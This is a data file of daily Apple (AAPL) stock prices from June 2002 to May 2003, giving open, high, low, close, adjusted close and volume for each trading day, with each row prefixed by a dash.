-2002-06-19,1.2407143115997314,1.2571429014205933,1.2057143449783325,1.222857117652893,1.0640089511871338,427366800.0,AAPL
-2002-06-20,1.2264286279678345,1.2571429014205933,1.2035714387893677,1.2221428155899048,1.0633877515792847,99159200.0,AAPL
-2002-06-21,1.212142825126648,1.2492856979370117,1.1992857456207275,1.2035714387893677,1.0472286939620972,111294400.0,AAPL
-2002-06-24,1.197857141494751,1.2664285898208618,1.1928571462631226,1.2335714101791382,1.0733317136764526,107983400.0,AAPL
-2002-06-25,1.2428570985794067,1.26285719871521,1.204285740852356,1.2242857217788696,1.0652521848678589,75300400.0,AAPL
-2002-06-26,1.2000000476837158,1.2350000143051147,1.1414285898208618,1.1821428537368774,1.028583288192749,139738200.0,AAPL
-2002-06-27,1.1992857456207275,1.2335714101791382,1.1728571653366089,1.218571424484253,1.060280203819275,62914600.0,AAPL
-2002-06-28,1.2214285135269165,1.2728571891784668,1.2142857313156128,1.2657142877578735,1.1012991666793823,67464600.0,AAPL
-2002-07-01,1.2649999856948853,1.277142882347107,1.2178571224212646,1.218571424484253,1.060280203819275,55672400.0,AAPL
-2002-07-02,1.216428518295288,1.2257143259048462,1.2021428346633911,1.2100000381469727,1.052822232246399,76297200.0,AAPL
-2002-07-03,1.2007142305374146,1.26285719871521,1.1964285373687744,1.2535713911056519,1.0907336473464966,49757400.0,AAPL
-2002-07-05,1.2649999856948853,1.3392857313156128,1.2649999856948853,1.3385714292526245,1.1646926403045654,40412400.0,AAPL
-2002-07-08,1.322857141494751,1.329285740852356,1.26285719871521,1.2864285707473755,1.119322657585144,52801000.0,AAPL
-2002-07-09,1.2921428680419922,1.3064285516738892,1.2471429109573364,1.2521429061889648,1.0894907712936401,56687400.0,AAPL
-2002-07-10,1.2649999856948853,1.2978571653366089,1.2321428060531616,1.23714280128479,1.0764390230178833,51720200.0,AAPL
-2002-07-11,1.23285710811615,1.3107142448425293,1.212142825126648,1.3071428537368774,1.1373462677001953,93419200.0,AAPL
-2002-07-12,1.3250000476837158,1.3421428203582764,1.23285710811615,1.2507143020629883,1.088247537612915,110873000.0,AAPL
-2002-07-15,1.2450000047683716,1.3285714387893677,1.2007142305374146,1.302142858505249,1.1329954862594604,73998400.0,AAPL
-2002-07-16,1.2964285612106323,1.3264285326004028,1.257857084274292,1.2757142782211304,1.1099997758865356,111692000.0,AAPL
-2002-07-17,1.152142882347107,1.1571428775787354,1.0850000381469727,1.1164286136627197,0.9714057445526123,303871400.0,AAPL
-2002-07-18,1.1071428060531616,1.1114286184310913,1.0535714626312256,1.0707142353057861,0.9316294193267822,139865600.0,AAPL
-2002-07-19,1.0499999523162842,1.083571434020996,1.037857174873352,1.0685714483261108,0.9297650456428528,96301800.0,AAPL
-2002-07-22,1.0535714626312256,1.0850000381469727,1.0435714721679688,1.0657142400741577,0.9272786378860474,107724400.0,AAPL
-2002-07-23,1.0642857551574707,1.0807143449783325,1.031428575515747,1.033571481704712,0.899311363697052,99972600.0,AAPL
-2002-07-24,1.0235713720321655,1.087142825126648,1.0178571939468384,1.085714340209961,0.9446809887886047,101648400.0,AAPL
-2002-07-25,1.066428542137146,1.0678571462631226,1.0007143020629883,1.0257142782211304,0.8924751281738281,119838600.0,AAPL
-2002-07-26,1.0328571796417236,1.037857174873352,0.9857142567634583,1.0242856740951538,0.8912319540977478,51926000.0,AAPL
-2002-07-29,1.0342856645584106,1.0785714387893677,1.0264285802841187,1.072857141494751,0.933493971824646,68740000.0,AAPL
-2002-07-30,1.0607142448425293,1.10785710811615,1.0399999618530273,1.1021428108215332,0.9589757323265076,88709600.0,AAPL
-2002-07-31,1.100000023841858,1.1014286279678345,1.0642857551574707,1.090000033378601,0.948409914970398,77674800.0,AAPL
-2002-08-01,1.079285740852356,1.1014286279678345,1.052142858505249,1.0571428537368774,0.9198209643363953,57239000.0,AAPL
-2002-08-02,1.0528571605682373,1.0714285373687744,1.0178571939468384,1.0321428775787354,0.8980685472488403,44765000.0,AAPL
-2002-08-05,1.0364285707473755,1.0499999523162842,0.9978571534156799,0.9992856979370117,0.8694794178009033,51006200.0,AAPL
-2002-08-06,1.0149999856948853,1.0878571271896362,1.0057142972946167,1.0528571605682373,0.9160919785499573,68013400.0,AAPL
-2002-08-07,1.0778571367263794,1.0971428155899048,1.024999976158142,1.0735714435577393,0.934115469455719,83368600.0,AAPL
-2002-08-08,1.0549999475479126,1.0985714197158813,1.0549999475479126,1.0928571224212646,0.9508957266807556,56837200.0,AAPL
-2002-08-09,1.0892857313156128,1.0892857313156128,1.0535714626312256,1.0714285373687744,0.9322507977485657,51429000.0,AAPL
-2002-08-12,1.0642857551574707,1.072857141494751,1.0492857694625854,1.0707142353057861,0.9316294193267822,44941400.0,AAPL
-2002-08-13,1.0642857551574707,1.0864285230636597,1.039285659790039,1.0421428680419922,0.9067694544792175,67467400.0,AAPL
-2002-08-14,1.0478571653366089,1.0964285135269165,1.0385714769363403,1.083571434020996,0.942816436290741,99771000.0,AAPL
-2002-08-15,1.0892857313156128,1.125,1.0721428394317627,1.1150000095367432,0.970162570476532,80519600.0,AAPL
-2002-08-16,1.1035714149475098,1.149999976158142,1.091428518295288,1.1292856931686401,0.9825926423072815,61306000.0,AAPL
-2002-08-19,1.1271429061889648,1.1607142686843872,1.1228570938110352,1.1414285898208618,0.9931580424308777,54139400.0,AAPL
-2002-08-20,1.1407142877578735,1.1492856740951538,1.1092857122421265,1.1364285945892334,0.9888075590133667,46656400.0,AAPL
-2002-08-21,1.143571376800537,1.159999966621399,1.1035714149475098,1.1514285802841187,1.0018593072891235,50607200.0,AAPL
-2002-08-22,1.1571428775787354,1.1607142686843872,1.118571400642395,1.1407142877578735,0.9925366044044495,64577800.0,AAPL
-2002-08-23,1.1357142925262451,1.13785719871521,1.1035714149475098,1.1235713958740234,0.9776201844215393,40811400.0,AAPL
-2002-08-26,1.139285683631897,1.139285683631897,1.0828571319580078,1.1092857122421265,0.9651906490325928,47492200.0,AAPL
-2002-08-27,1.1221429109573364,1.1242856979370117,1.0507142543792725,1.0607142448425293,0.9229283928871155,65557800.0,AAPL
-2002-08-28,1.0571428537368774,1.0800000429153442,1.0464285612106323,1.0499999523162842,0.9136058688163757,61993400.0,AAPL
-2002-08-29,1.0464285612106323,1.0771428346633911,1.0364285707473755,1.0499999523162842,0.9136058688163757,41042400.0,AAPL
-2002-08-30,1.052142858505249,1.0814285278320312,1.041428565979004,1.0535714626312256,0.9167134165763855,48379800.0,AAPL
-2002-09-03,1.034999966621399,1.039285659790039,1.0035713911056519,1.0035713911056519,0.8732084035873413,69234200.0,AAPL
-2002-09-04,1.014285683631897,1.0557142496109009,1.0121428966522217,1.0342856645584106,0.8999328017234802,105165200.0,AAPL
-2002-09-05,1.0157142877578735,1.0257142782211304,1.0035713911056519,1.01285719871521,0.8812879323959351,56544600.0,AAPL
-2002-09-06,1.0364285707473755,1.0464285612106323,1.0164285898208618,1.027142882347107,0.8937179446220398,45397800.0,AAPL
-2002-09-09,1.0199999809265137,1.037857174873352,1.0107142925262451,1.0264285802841187,0.893096387386322,39561200.0,AAPL
-2002-09-10,1.0292856693267822,1.034999966621399,1.0085713863372803,1.0235713720321655,0.8906103372573853,62367200.0,AAPL
-2002-09-11,1.0242856740951538,1.0428571701049805,1.0107142925262451,1.020714282989502,0.8881242871284485,50603000.0,AAPL
-2002-09-12,1.014285683631897,1.0364285707473755,1.0085713863372803,1.0099999904632568,0.8788020014762878,67457600.0,AAPL
-2002-09-13,1.0092856884002686,1.0242856740951538,1.0035713911056519,1.0121428966522217,0.8806665539741516,70737800.0,AAPL
-2002-09-16,1.0099999904632568,1.0435714721679688,1.0085713863372803,1.0357142686843872,0.9011759757995605,71660400.0,AAPL
-2002-09-17,1.0407142639160156,1.0735714435577393,1.0407142639160156,1.0571428537368774,0.9198209643363953,106999200.0,AAPL
-2002-09-18,1.0492857694625854,1.0778571367263794,1.0371428728103638,1.072857141494751,0.933493971824646,82160400.0,AAPL
-2002-09-19,1.0535714626312256,1.0571428537368774,1.0342856645584106,1.041428565979004,0.9061480164527893,51486400.0,AAPL
-2002-09-20,1.0442856550216675,1.0671428442001343,1.0371428728103638,1.0621428489685059,0.9241712689399719,88197200.0,AAPL
-2002-09-23,1.0542857646942139,1.0685714483261108,1.0321428775787354,1.0607142448425293,0.9229283928871155,65927400.0,AAPL
-2002-09-24,1.0285714864730835,1.058571457862854,1.0285714864730835,1.045714259147644,0.909876823425293,62665400.0,AAPL
-2002-09-25,1.0492857694625854,1.083571434020996,1.0464285612106323,1.066428542137146,0.9279004335403442,63670600.0,AAPL
-2002-09-26,1.0785714387893677,1.0850000381469727,1.039285659790039,1.0499999523162842,0.9136058688163757,52161200.0,AAPL
-2002-09-27,1.034999966621399,1.0607142448425293,1.0342856645584106,1.0514285564422607,0.9148489832878113,51538200.0,AAPL
-2002-09-30,1.0285714864730835,1.0407142639160156,1.0099999904632568,1.0357142686843872,0.9011759757995605,59424400.0,AAPL
-2002-10-01,1.0421428680419922,1.0428571701049805,1.0,1.0364285707473755,0.9017975330352783,85605800.0,AAPL
-2002-10-02,1.0235713720321655,1.0449999570846558,1.0071429014205933,1.0121428966522217,0.8806665539741516,57337000.0,AAPL
-2002-10-03,1.01285719871521,1.0428571701049805,1.0042856931686401,1.0214285850524902,0.888745903968811,54474000.0,AAPL
-2002-10-04,1.0257142782211304,1.0285714864730835,0.9992856979370117,1.0021429061889648,0.8719654083251953,47706400.0,AAPL
-2002-10-07,0.9978571534156799,1.0149999856948853,0.9828571677207947,0.9835714101791382,0.8558064699172974,61174400.0,AAPL
-2002-10-08,0.9928571581840515,0.9971428513526917,0.954285740852356,0.977142870426178,0.8502130508422852,113411200.0,AAPL
-2002-10-09,0.9671428799629211,0.9892857074737549,0.9578571319580078,0.970714271068573,0.8446195125579834,89171600.0,AAPL
-2002-10-10,0.9735714197158813,1.0157142877578735,0.9700000286102295,1.007857084274292,0.8769372701644897,80393600.0,AAPL
-2002-10-11,1.0178571939468384,1.0557142496109009,1.0071429014205933,1.0364285707473755,0.9017975330352783,73669400.0,AAPL
-2002-10-14,1.039285659790039,1.0700000524520874,1.031428575515747,1.0549999475479126,0.9179564714431763,48601000.0,AAPL
-2002-10-15,1.087142825126648,1.0892857313156128,1.0557142496109009,1.0828571319580078,0.9421949982643127,101379600.0,AAPL
-2002-10-16,1.0614285469055176,1.0807143449783325,0.9928571581840515,1.0399999618530273,0.9049049615859985,76906200.0,AAPL
-2002-10-17,1.0149999856948853,1.027142882347107,0.9985714554786682,1.007857084274292,0.8769372701644897,117324200.0,AAPL
-2002-10-18,1.0,1.024999976158142,0.9950000047683716,1.0242856740951538,0.8912319540977478,72074800.0,AAPL
-2002-10-21,1.018571376800537,1.0449999570846558,1.0,1.0399999618530273,0.9049049615859985,59630200.0,AAPL
-2002-10-22,1.033571481704712,1.0628571510314941,1.018571376800537,1.0499999523162842,0.9136058688163757,54537000.0,AAPL
-2002-10-23,1.0449999570846558,1.0700000524520874,1.0357142686843872,1.0628571510314941,0.9247932434082031,52259200.0,AAPL
-2002-10-24,1.072857141494751,1.0864285230636597,1.039285659790039,1.0492857694625854,0.9129844903945923,43687000.0,AAPL
-2002-10-25,1.0492857694625854,1.1035714149475098,1.0421428680419922,1.1014286279678345,0.9583540558815002,69767600.0,AAPL
-2002-10-28,1.110714316368103,1.139285683631897,1.0892857313156128,1.1150000095367432,0.970162570476532,87325000.0,AAPL
-2002-10-29,1.11214280128479,1.1342856884002686,1.0685714483261108,1.1028571128845215,0.9595968127250671,64794800.0,AAPL
-2002-10-30,1.106428623199463,1.1692856550216675,1.1057143211364746,1.1414285898208618,0.9931580424308777,67669000.0,AAPL
-2002-10-31,1.14214289188385,1.1742857694625854,1.1371428966522217,1.1478571891784668,0.9987518191337585,73959200.0,AAPL
-2002-11-01,1.1385713815689087,1.1785714626312256,1.1349999904632568,1.1685714721679688,1.0167750120162964,47457200.0,AAPL
-2002-11-04,1.1785714626312256,1.2414286136627197,1.1678571701049805,1.2064285278320312,1.0497145652770996,94204600.0,AAPL
-2002-11-05,1.1964285373687744,1.2114285230636597,1.1678571701049805,1.2071428298950195,1.0503358840942383,52673600.0,AAPL
-2002-11-06,1.2200000286102295,1.23714280128479,1.1928571462631226,1.2300000190734863,1.0702241659164429,54097400.0,AAPL
-2002-11-07,1.2100000381469727,1.2214285135269165,1.1292856931686401,1.1428571939468384,0.9944009780883789,84044800.0,AAPL
-2002-11-08,1.143571376800537,1.1571428775787354,1.1085714101791382,1.131428599357605,0.9844570159912109,47516000.0,AAPL
-2002-11-11,1.1242856979370117,1.1349999904632568,1.0800000429153442,1.0828571319580078,0.9421949982643127,38243800.0,AAPL
-2002-11-12,1.0942857265472412,1.145714282989502,1.091428518295288,1.117142915725708,0.9720271825790405,55948200.0,AAPL
-2002-11-13,1.1071428060531616,1.1478571891784668,1.091428518295288,1.1135714054107666,0.9689195156097412,57934800.0,AAPL
-2002-11-14,1.1357142925262451,1.1721428632736206,1.1271429061889648,1.164285659790039,1.0130460262298584,35428400.0,AAPL
-2002-11-15,1.1592856645584106,1.159999966621399,1.1257143020629883,1.139285683631897,0.9912934899330139,40248600.0,AAPL
-2002-11-18,1.156428575515747,1.1571428775787354,1.1085714101791382,1.1178570985794067,0.9726486802101135,41144600.0,AAPL
-2002-11-19,1.110714316368103,1.125,1.0721428394317627,1.0907143354415894,0.9490312337875366,52738000.0,AAPL
-2002-11-20,1.0928571224212646,1.1214286088943481,1.0892857313156128,1.1092857122421265,0.9651906490325928,52185000.0,AAPL
-2002-11-21,1.1357142925262451,1.1742857694625854,1.125,1.1678571701049805,1.0161535739898682,104620600.0,AAPL
-2002-11-22,1.1492856740951538,1.164285659790039,1.1357142925262451,1.143571376800537,0.9950224757194519,56964600.0,AAPL
-2002-11-25,1.1449999809265137,1.1528571844100952,1.1221429109573364,1.1407142877578735,0.9925366044044495,49856800.0,AAPL
-2002-11-26,1.1321429014205933,1.1357142925262451,1.0907143354415894,1.1007143259048462,0.9577323794364929,60065600.0,AAPL
-2002-11-27,1.1142857074737549,1.132857084274292,1.1035714149475098,1.1228570938110352,0.976999044418335,71699600.0,AAPL
-2002-11-29,1.1278570890426636,1.1342856884002686,1.1007143259048462,1.1071428060531616,0.9633262157440186,35858200.0,AAPL
-2002-12-02,1.1357142925262451,1.149999976158142,1.0721428394317627,1.0842857360839844,0.9434381723403931,99685600.0,AAPL
-2002-12-03,1.085714340209961,1.0957143306732178,1.0785714387893677,1.0828571319580078,0.9421949982643127,56967400.0,AAPL
-2002-12-04,1.0842857360839844,1.0850000381469727,1.0357142686843872,1.0692857503890991,0.9303869009017944,81439400.0,AAPL
-2002-12-05,1.0735714435577393,1.0771428346633911,1.037857174873352,1.0449999570846558,0.90925532579422,60849600.0,AAPL
-2002-12-06,1.0464285612106323,1.0850000381469727,1.0371428728103638,1.0678571462631226,0.9291434288024902,61339600.0,AAPL
-2002-12-09,1.0671428442001343,1.0678571462631226,1.0478571653366089,1.0535714626312256,0.9167134165763855,59021200.0,AAPL
-2002-12-10,1.0535714626312256,1.1035714149475098,1.052142858505249,1.091428518295288,0.9496530890464783,77152600.0,AAPL
-2002-12-11,1.0928571224212646,1.106428623199463,1.0771428346633911,1.106428623199463,0.9627045392990112,63375200.0,AAPL
-2002-12-12,1.10785710811615,1.110714316368103,1.0721428394317627,1.0850000381469727,0.9440593719482422,37335200.0,AAPL
-2002-12-13,1.0814285278320312,1.0821428298950195,1.0464285612106323,1.0564285516738892,0.9191994071006775,41195000.0,AAPL
-2002-12-16,1.0578571557998657,1.0785714387893677,1.0435714721679688,1.0607142448425293,0.9229283928871155,62906200.0,AAPL
-2002-12-17,1.0607142448425293,1.0850000381469727,1.0471428632736206,1.0771428346633911,0.9372230768203735,55665400.0,AAPL
-2002-12-18,1.0571428537368774,1.0614285469055176,1.0357142686843872,1.0407142639160156,0.9055265188217163,37675400.0,AAPL
-2002-12-19,1.037857174873352,1.0657142400741577,1.0071429014205933,1.014285683631897,0.8825308680534363,86879800.0,AAPL
-2002-12-20,1.020714282989502,1.0399999618530273,0.9842857122421265,1.0099999904632568,0.8788020014762878,79524200.0,AAPL
-2002-12-23,1.0114285945892334,1.039285659790039,1.0085713863372803,1.034999966621399,0.900554358959198,31456600.0,AAPL
-2002-12-24,1.031428575515747,1.033571481704712,1.0214285850524902,1.0257142782211304,0.8924751281738281,9835000.0,AAPL
-2002-12-26,1.0299999713897705,1.0578571557998657,1.0199999809265137,1.0285714864730835,0.8949610590934753,21355600.0,AAPL
-2002-12-27,1.0221428871154785,1.027142882347107,1.0007143020629883,1.0042856931686401,0.8738297820091248,20008800.0,AAPL
-2002-12-30,1.0057142972946167,1.0107142925262451,0.9885714054107666,1.0049999952316284,0.8744513392448425,38760400.0,AAPL
-2002-12-31,1.0,1.0257142782211304,0.9964285492897034,1.0235713720321655,0.8906103372573853,50181600.0,AAPL
-2003-01-02,1.0257142782211304,1.0657142400741577,1.024999976158142,1.0571428537368774,0.9198209643363953,45357200.0,AAPL
-2003-01-03,1.0571428537368774,1.066428542137146,1.0421428680419922,1.0642857551574707,0.9260361194610596,36863400.0,AAPL
-2003-01-06,1.0735714435577393,1.0985714197158813,1.0628571510314941,1.0642857551574707,0.9260361194610596,97633200.0,AAPL
-2003-01-07,1.0564285516738892,1.0714285373687744,1.033571481704712,1.0607142448425293,0.9229283928871155,85586200.0,AAPL
-2003-01-08,1.041428565979004,1.0507142543792725,1.031428575515747,1.039285659790039,0.9042837023735046,57411200.0,AAPL
-2003-01-09,1.0442856550216675,1.0657142400741577,1.0357142686843872,1.0485714673995972,0.912362813949585,53813200.0,AAPL
-2003-01-10,1.041428565979004,1.058571457862854,1.034999966621399,1.0514285564422607,0.9148489832878113,43775200.0,AAPL
-2003-01-13,1.0642857551574707,1.0642857551574707,1.0257142782211304,1.0449999570846558,0.90925532579422,44735600.0,AAPL
-2003-01-14,1.0492857694625854,1.058571457862854,1.034999966621399,1.0435714721679688,0.9080124497413635,46715200.0,AAPL
-2003-01-15,1.0421428680419922,1.0499999523162842,1.018571376800537,1.0307142734527588,0.8968256115913391,92782200.0,AAPL
-2003-01-16,1.0149999856948853,1.0542857646942139,1.0149999856948853,1.0442856550216675,0.9086340069770813,139767600.0,AAPL
-2003-01-17,1.0399999618530273,1.0399999618530273,1.0057142972946167,1.0071429014205933,0.8763160705566406,66690400.0,AAPL
-2003-01-21,1.0149999856948853,1.0292856693267822,1.0,1.0014286041259766,0.8713441491127014,63364000.0,AAPL
-2003-01-22,0.9985714554786682,1.0107142925262451,0.9857142567634583,0.991428554058075,0.8626429438591003,53785200.0,AAPL
-2003-01-23,1.0035713911056519,1.0257142782211304,0.9964285492897034,1.0121428966522217,0.8806665539741516,57064000.0,AAPL
-2003-01-24,1.01714289188385,1.01714289188385,0.9685714244842529,0.9857142567634583,0.857670783996582,76367200.0,AAPL
-2003-01-27,0.977142870426178,1.0357142686843872,0.9750000238418579,1.0092856884002686,0.8781803846359253,97851600.0,AAPL
-2003-01-28,1.01714289188385,1.0492857694625854,1.0114285945892334,1.041428565979004,0.9061480164527893,71563800.0,AAPL
-2003-01-29,1.039285659790039,1.0785714387893677,1.0214285850524902,1.066428542137146,0.9279004335403442,93261000.0,AAPL
-2003-01-30,1.0700000524520874,1.0764285326004028,1.020714282989502,1.0228571891784668,0.8899889588356018,101764600.0,AAPL
-2003-01-31,1.0135713815689087,1.039285659790039,1.0035713911056519,1.0257142782211304,0.8924751281738281,85306200.0,AAPL
-2003-02-03,1.0292856693267822,1.065000057220459,1.024999976158142,1.0471428632736206,0.9111200571060181,66196200.0,AAPL
-2003-02-04,1.0321428775787354,1.0464285612106323,1.0221428871154785,1.0428571701049805,0.9073910117149353,79353400.0,AAPL
-2003-02-05,1.0507142543792725,1.066428542137146,1.031428575515747,1.0321428775787354,0.8980685472488403,55403600.0,AAPL
-2003-02-06,1.0257142782211304,1.0421428680419922,1.0157142877578735,1.0307142734527588,0.8968256115913391,44787400.0,AAPL
-2003-02-07,1.039285659790039,1.0428571701049805,1.0049999952316284,1.0107142925262451,0.8794235587120056,67425400.0,AAPL
-2003-02-10,1.018571376800537,1.0407142639160156,1.0042856931686401,1.024999976158142,0.8918532729148865,41972000.0,AAPL
-2003-02-11,1.0357142686843872,1.0449999570846558,1.014285683631897,1.024999976158142,0.8918532729148865,41195000.0,AAPL
-2003-02-12,1.0192856788635254,1.0428571701049805,1.0192856788635254,1.0278571844100952,0.8943394422531128,57171800.0,AAPL
-2003-02-13,1.0292856693267822,1.045714259147644,1.01714289188385,1.0385714769363403,0.9036619663238525,52123400.0,AAPL
-2003-02-14,1.0435714721679688,1.0514285564422607,1.024999976158142,1.0478571653366089,0.9117413759231567,60824400.0,AAPL
-2003-02-18,1.0535714626312256,1.0928571224212646,1.0514285564422607,1.0907143354415894,0.9490312337875366,72724400.0,AAPL
-2003-02-19,1.0764285326004028,1.0821428298950195,1.0485714673995972,1.0607142448425293,0.9229283928871155,60092200.0,AAPL
-2003-02-20,1.0607142448425293,1.0685714483261108,1.0507142543792725,1.0549999475479126,0.9179564714431763,56088200.0,AAPL
-2003-02-21,1.058571457862854,1.0757142305374146,1.0464285612106323,1.0714285373687744,0.9322507977485657,39361000.0,AAPL
-2003-02-24,1.0614285469055176,1.0735714435577393,0.9857142567634583,1.0528571605682373,0.9160919785499573,45063200.0,AAPL
-2003-02-25,1.0485714673995972,1.0771428346633911,1.041428565979004,1.072857141494751,0.933493971824646,47160400.0,AAPL
-2003-02-26,1.0707142353057861,1.072857141494751,1.0342856645584106,1.0357142686843872,0.9011759757995605,54273800.0,AAPL
-2003-02-27,1.0407142639160156,1.0714285373687744,1.0364285707473755,1.0614285469055176,0.9235502481460571,38585400.0,AAPL
-2003-02-28,1.0614285469055176,1.0778571367263794,1.0549999475479126,1.0721428394317627,0.9328724145889282,48774600.0,AAPL
-2003-03-03,1.0721428394317627,1.0828571319580078,1.039285659790039,1.0464285612106323,0.9104982614517212,50940400.0,AAPL
-2003-03-04,1.0528571605682373,1.0578571557998657,1.031428575515747,1.0399999618530273,0.9049049615859985,31603600.0,AAPL
-2003-03-05,1.0435714721679688,1.0571428537368774,1.0371428728103638,1.0442856550216675,0.9086340069770813,31670800.0,AAPL
-2003-03-06,1.041428565979004,1.0428571701049805,1.0285714864730835,1.0399999618530273,0.9049049615859985,24964800.0,AAPL
-2003-03-07,1.033571481704712,1.0507142543792725,1.0221428871154785,1.037857174873352,0.9030407667160034,50246000.0,AAPL
-2003-03-10,1.0364285707473755,1.0478571653366089,1.0214285850524902,1.0264285802841187,0.893096387386322,33643400.0,AAPL
-2003-03-11,1.0257142782211304,1.034999966621399,1.0085713863372803,1.0164285898208618,0.8843955993652344,40297600.0,AAPL
-2003-03-12,1.0121428966522217,1.0278571844100952,1.0042856931686401,1.0157142877578735,0.8837738633155823,55640200.0,AAPL
-2003-03-13,1.033571481704712,1.0571428537368774,1.0121428966522217,1.0514285564422607,0.9148489832878113,83861400.0,AAPL
-2003-03-14,1.0485714673995972,1.0721428394317627,1.045714259147644,1.0557142496109009,0.9185778498649597,38274600.0,AAPL
-2003-03-17,1.0635714530944824,1.0764285326004028,1.0507142543792725,1.0721428394317627,0.9328724145889282,99978200.0,AAPL
-2003-03-18,1.0714285373687744,1.0778571367263794,1.058571457862854,1.0714285373687744,0.9322507977485657,57495200.0,AAPL
-2003-03-19,1.0764285326004028,1.0821428298950195,1.0564285516738892,1.0678571462631226,0.9291434288024902,35329000.0,AAPL
-2003-03-20,1.066428542137146,1.0707142353057861,1.0428571701049805,1.065000057220459,0.9266575574874878,40794600.0,AAPL
-2003-03-21,1.0778571367263794,1.0821428298950195,1.058571457862854,1.0714285373687744,0.9322507977485657,74487000.0,AAPL
-2003-03-24,1.0478571653366089,1.0571428537368774,1.024999976158142,1.0264285802841187,0.893096387386322,40275200.0,AAPL
-2003-03-25,1.0292856693267822,1.0592857599258423,1.0264285802841187,1.039285659790039,0.9042837023735046,41924400.0,AAPL
-2003-03-26,1.039285659790039,1.0399999618530273,1.0214285850524902,1.0292856693267822,0.8955826163291931,44585800.0,AAPL
-2003-03-27,1.0228571891784668,1.0499999523162842,1.0228571891784668,1.034999966621399,0.900554358959198,30598400.0,AAPL
-2003-03-28,1.0285714864730835,1.0442856550216675,1.0264285802841187,1.0407142639160156,0.9055265188217163,36325800.0,AAPL
-2003-03-31,1.0235713720321655,1.037857174873352,1.0028570890426636,1.0099999904632568,0.8788020014762878,64164800.0,AAPL
-2003-04-01,1.014285683631897,1.0221428871154785,1.0049999952316284,1.0114285945892334,0.8800450563430786,38585400.0,AAPL
-2003-04-02,1.0257142782211304,1.0492857694625854,1.0192856788635254,1.0428571701049805,0.9073910117149353,42842800.0,AAPL
-2003-04-03,1.0399999618530273,1.0499999523162842,1.024999976158142,1.0328571796417236,0.8986901044845581,36428000.0,AAPL
-2003-04-04,1.0371428728103638,1.0478571653366089,1.0278571844100952,1.0292856693267822,0.8955826163291931,36505000.0,AAPL
-2003-04-07,1.0607142448425293,1.0678571462631226,1.0292856693267822,1.034999966621399,0.900554358959198,49215600.0,AAPL
-2003-04-08,1.0364285707473755,1.0464285612106323,1.0257142782211304,1.0321428775787354,0.8980685472488403,32233600.0,AAPL
-2003-04-09,1.0371428728103638,1.0442856550216675,1.0099999904632568,1.0135713815689087,0.8819094896316528,36681400.0,AAPL
-2003-04-10,1.014285683631897,1.0278571844100952,1.014285683631897,1.0264285802841187,0.893096387386322,26775000.0,AAPL
-2003-04-11,1.0035713911056519,1.031428575515747,0.9235714077949524,0.9428571462631226,0.8203808665275574,348177200.0,AAPL
-2003-04-14,0.979285717010498,0.9821428656578064,0.9642857313156128,0.9700000286102295,0.8439980149269104,125739600.0,AAPL
-2003-04-15,0.970714271068573,0.9714285731315613,0.949999988079071,0.956428587436676,0.8321895599365234,75992000.0,AAPL
-2003-04-16,0.9278571605682373,0.9764285683631897,0.9228571653366089,0.9457142949104309,0.8228669166564941,254044000.0,AAPL
-2003-04-17,0.9428571462631226,0.9464285969734192,0.9085714221000671,0.9371428489685059,0.8154090046882629,154064400.0,AAPL
-2003-04-21,0.9378571510314941,0.9421428442001343,0.927142858505249,0.9385714530944824,0.8166519999504089,38080000.0,AAPL
-2003-04-22,0.941428542137146,0.9728571176528931,0.9350000023841858,0.9649999737739563,0.8396473526954651,75142200.0,AAPL
-2003-04-23,0.9664285778999329,0.9735714197158813,0.954285740852356,0.9700000286102295,0.8439980149269104,52420200.0,AAPL
-2003-04-24,0.9657142758369446,0.9721428751945496,0.9285714030265808,0.9599999785423279,0.8352968096733093,81277000.0,AAPL
-2003-04-25,0.9614285826683044,0.9700000286102295,0.9449999928474426,0.9535714387893677,0.8297033905982971,51329600.0,AAPL
-2003-04-28,0.9628571271896362,0.9971428513526917,0.9592857360839844,0.9900000095367432,0.8613998889923096,159199600.0,AAPL
-2003-04-29,0.9985714554786682,1.0114285945892334,0.9700000286102295,1.0042856931686401,0.8738297820091248,114559200.0,AAPL
-2003-04-30,0.9950000047683716,1.024999976158142,0.9892857074737549,1.0157142877578735,0.8837738633155823,114543800.0,AAPL
-2003-05-01,1.0178571939468384,1.0278571844100952,1.0,1.0257142782211304,0.8924751281738281,85689800.0,AAPL
-2003-05-02,1.0328571796417236,1.0421428680419922,1.0242856740951538,1.0321428775787354,0.8980685472488403,80295600.0,AAPL
-2003-05-05,1.0549999475479126,1.2057143449783325,1.0535714626312256,1.1492856740951538,0.9999942779541016,388927000.0,AAPL
-2003-05-06,1.1514285802841187,1.2785714864730835,1.149999976158142,1.25,1.0876262187957764,378623000.0,AAPL
-2003-05-07,1.2378571033477783,1.3028571605682373,1.2221428155899048,1.2607142925262451,1.096948504447937,263594800.0,AAPL
-2003-05-08,1.264285683631897,1.2907142639160156,1.2350000143051147,1.2857142686843872,1.1187011003494263,171934000.0,AAPL
-2003-05-09,1.3092857599258423,1.3142857551574707,1.277142882347107,1.3071428537368774,1.1373462677001953,147096600.0,AAPL
-2003-05-12,1.2964285612106323,1.3385714292526245,1.2949999570846558,1.3257142305374146,1.1535054445266724,104843200.0,AAPL
-2003-05-13,1.316428542137146,1.3550000190734863,1.2821428775787354,1.333571434020996,1.1603418588638306,111699000.0,AAPL
-2003-05-14,1.3450000286102295,1.3457143306732178,1.316428542137146,1.3250000476837158,1.1528836488723755,88872000.0,AAPL
-2003-05-15,1.3285714387893677,1.3464285135269165,1.3192857503890991,1.3378571271896362,1.1640708446502686,71248800.0,AAPL
-2003-05-16,1.3278571367263794,1.35785710811615,1.3057142496109009,1.3428571224212646,1.1684210300445557,85407000.0,AAPL
-2003-05-19,1.3235714435577393,1.3321428298950195,1.2899999618530273,1.2928571701049805,1.1249161958694458,111472200.0,AAPL
-2003-05-20,1.2928571701049805,1.2971428632736206,1.2571429014205933,1.270714282989502,1.105649709701538,104055000.0,AAPL
-2003-05-21,1.270714282989502,1.2921428680419922,1.2621428966522217,1.274999976158142,1.109378695487976,76252400.0,AAPL
-2003-05-22,1.2778571844100952,1.3142857551574707,1.26714289188385,1.3028571605682373,1.1336172819137573,44615200.0,AAPL
-2003-05-23,1.3007142543792725,1.3185714483261108,1.2828571796417236,1.308571457862854,1.1385892629623413,51679600.0,AAPL
-2003-05-27,1.2828571796417236,1.350000023841858,1.2792856693267822,1.3485714197158813,1.1733931303024292,72532600.0,AAPL
-2003-05-28,1.3214285373687744,1.3328571319580078,1.2964285612106323,1.3057142496109009,1.1361031532287598,84919800.0,AAPL
-2003-05-29,1.3064285516738892,1.3214285373687744,1.2785714864730835,1.2928571701049805,1.1249161958694458,83441400.0,AAPL
